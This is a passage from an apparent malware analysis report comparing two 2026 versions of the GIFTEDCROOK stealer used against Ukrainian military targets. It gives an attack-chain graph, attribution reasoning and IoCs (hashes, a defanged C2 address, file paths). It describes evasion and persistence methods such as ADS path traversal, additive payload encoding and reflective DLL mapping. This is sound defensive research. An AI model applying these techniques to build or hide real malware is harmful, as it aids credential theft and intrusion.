        "SHA256 6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8"
      ],
      "id": "jun_wc3",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\WC3",
      "x_label": "PowerShell loader using native NT APIs",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902"
      ],
      "id": "jun_wt1",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\wt1",
      "x_label": "Encoded headerless PE image; subtract 0x48",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Decoded custom-header image",
        "Main.dll!Func at raw offset 0x173B0 / export RVA 0x17FB0"
      ],
      "id": "jun_payload",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "hash",
      "value": "78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222",
      "x_label": "Reflectively mapped GIFTEDCROOK payload",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Recovered from WC3 PowerShell loader"
      ],
      "id": "jun_telemetry",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "url",
      "value": "https://142.111.194[.]73:8640/dj5FZEiLnA/",
      "x_label": "Mapper execution telemetry endpoint",
      "x_lane": "june-2026"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 1,
      "to": "apr_decoy",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 2,
      "to": "apr_lnk",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 3,
      "to": "apr_loader",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 4,
      "to": "apr_encoded",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_lnk",
      "sequence_order": 5,
      "to": "apr_loader",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_loader",
      "sequence_order": 6,
      "to": "apr_encoded",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "likely",
      "from": "apr_encoded",
      "sequence_order": 7,
      "to": "apr_payload",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_payload",
      "sequence_order": 8,
      "to": "apr_c2",
      "type": "connect",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 101,
      "to": "jun_decoy",
      "type": "drops",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 102,
      "to": "jun_lnk",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into Startup"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 103,
      "to": "jun_wc3",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 104,
      "to": "jun_wt1",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_lnk",
      "sequence_order": 105,
      "to": "jun_wc3",
      "type": "execute",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 106,
      "to": "jun_wt1",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Read, subtract 0x48, copy to memory, invoke raw offset 0x173B0"
    },
    {
      "confidence": "likely",
      "from": "jun_wt1",
      "sequence_order": 107,
      "to": "jun_payload",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Custom reflective mapper resolves imports/relocations and calls DllMain"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 108,
      "to": "jun_telemetry",
      "type": "connect",
      "x_lane": "june-2026",
      "x_purpose": "16-byte mapper status telemetry"
    }
  ],
  "title": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "x_comparison_mode": true,
  "x_comparison_note": "Schema-valid IIM chain used as an analytical overlay. For strict federation, use the two single-observation chain files included in the comparison pack.",
  "x_lanes": [
    {
      "id": "april-2026",
      "label": "April 2026 / previous sample",
      "order": 1
    },
    {
      "id": "june-2026",
      "label": "June 2026 / current sample",
      "order": 2
    }
  ]
}

They both use:

weaponized WinRAR archives
Ukrainian military-themed decoys
LNK-based execution
PowerShell
generated junk code
simple additive payload encoding
runtime-resolved APIs
RC4-like internal string protection
data collection and exfiltration

But the current chain is more operationalized.

The change is not that UAC-0226 suddenly started using an advanced offensive framework.
The core components are still fairly straightforward.

The actual change is that the chain has become better packaged:

less visible archive content
automatic Startup execution
clean separation between loader and payload
custom header format
reflective DLL mapping
separate execution telemetry
broader and more explicit collection logic

The actor is still using simple building blocks, they are just assembling them more effectively.

Infrastructure Changes

Hosting-Provider dig not change, UAC-0226 is still using evoxt.com as their hosting provider.

Certificate changed:

Also there were changes in the default webserver request:

Port and Endpoint Changed too:

Before: *:8406/rcv
New: *:8640/dj5FZEiLnA

Note: This is likely intended to evade endpoint and network-based detection. The previous combination of port 8406 and the /rcv endpoint used by UAC-0226 have become a known indicator for EDR and intrusion-detection systems.
In response, the operators transposed the port from 8406 to 8640 and replaced the static endpoint with a randomly generated string.

Attribution considerations

The campaign context and technical overlap are consistent with the previously observed UAC-0226 and GIFTEDCROOK activity.
However, attribution should not rest on a single IP address, one obfuscation pattern or one Ukrainian lure.

The more useful similarities are structural:

the same archive-to-LNK execution model
the same generated PowerShell noise
the same additive byte-decoding concept
the same staged in-memory execution
the same RC4-like string protection
the same browser and file theft objective
the same focus on Ukrainian military-related targets

These are repeatable implementation and operational decisions rather than isolated indicators.
The current sample therefore looks less like an unrelated stealer and more like a further iteration of the same UAC-0226/GIFTEDCROOK tooling line.

Final thoughts

The PowerShell still relies heavily on generated noise.
The outer payload encoding is still a basic byte subtraction.
The inner strings are protected with a recognizable RC4-like construction.

But the overall chain has improved.

The archive hides its real contents behind NTFS Alternate Data Streams.
Persistence is established during extraction.
The payload is split across ProgramData.
The decoded stage no longer presents a normal PE header.
A reflective mapper rebuilds the DLL in memory, and the outer loader reports detailed execution status back to the operator.

That is enough to increase the time required for analysis and reduce the number of obvious on-disk indicators.

It is not particularly elegant.
But, once again, it does not need to be.
It only needs to survive long enough to collect browser secrets, documents, VPN configurations and credentials from the intended target.

IoCs

SHA-256

Malicious Archive
420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

Decoy PDF
dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30

Startup LNK
05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445

WC3 PowerShell loader
6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8

Encoded wt1
3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902

Decoded custom-header image
78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222

Analysis-only reconstructed PE
b268ecbc386d32ace546dd483707fd2c923de8f091741e544f52c7f872fe0d91

Network

142.111.194[.]73:8640
/dj5FZEiLnA/

The following address appears to be used as a connectivity check and is not itself a malicious infrastructure indicator:

1.1.1.1

Files and paths

C:\ProgramData\WC3
C:\ProgramData\wt1
%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\ThJRq_6uEj.lnk
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt
ExitCode.txt
Key10.txt

Loader markers

Main.dll
Func
0x173B0
0x17FB0
0x114200